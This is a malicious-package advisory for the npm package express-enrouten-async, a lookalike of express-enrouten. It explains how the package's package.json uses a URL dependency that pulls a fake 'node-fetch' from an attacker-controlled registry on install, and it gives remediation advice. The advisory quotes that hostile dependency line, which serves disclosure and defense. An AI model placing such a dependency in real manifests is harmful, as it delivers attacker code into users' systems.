MAL-2026-4556

Dashboard / Malicious Package / MAL-2026-4556

MAL-2026-4556

Summary: Malicious code in express-enrouten-async (npm)

Details: Source: amazon-inspector (f944bc544f9368e58a223e76e462ddec4ba325c728a233100182706ad8f0ae0e) Package name mimics the legitimate `express-enrouten` route-discovery library, but the shipped `index.js` only hardcodes two demo routes rather than implementing automatic route discovery. The malicious mechanism is in `package.json`, which declares `"node-fetch": "https://registry.ctzbg.com/express-enrouten-async/node-fetch"` — a direct URL dependency pointing at a third-party, non-npm registry under a path namespaced to this package. On `npm install`, npm fetches and installs whatever tarball that URL serves as the installer's `node-fetch`, so any code requiring `node-fetch` in the host application loads attacker-controlled, unpinned, mutable bytes from a non-publisher domain. This is dependency-confusion-style supply-chain attack: the lookalike package name lures the install, and the URL-pinned fake `node-fetch` is the delivery vehicle for arbitrary code into the installer's dependency tree. Source: ghsa-malware (cdb80cf068509a98c0d81e9d31a8ebc6ff50e535d01bb39f492cdd12f58fd51d) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References: https://www.npmjs.com/package/express-enrouten-async/v/1.4.12, https://www.npmjs.com/package/express-enrouten-async/v/1.4.11, https://github.com/advisories/GHSA-25jv-xr7c-mx67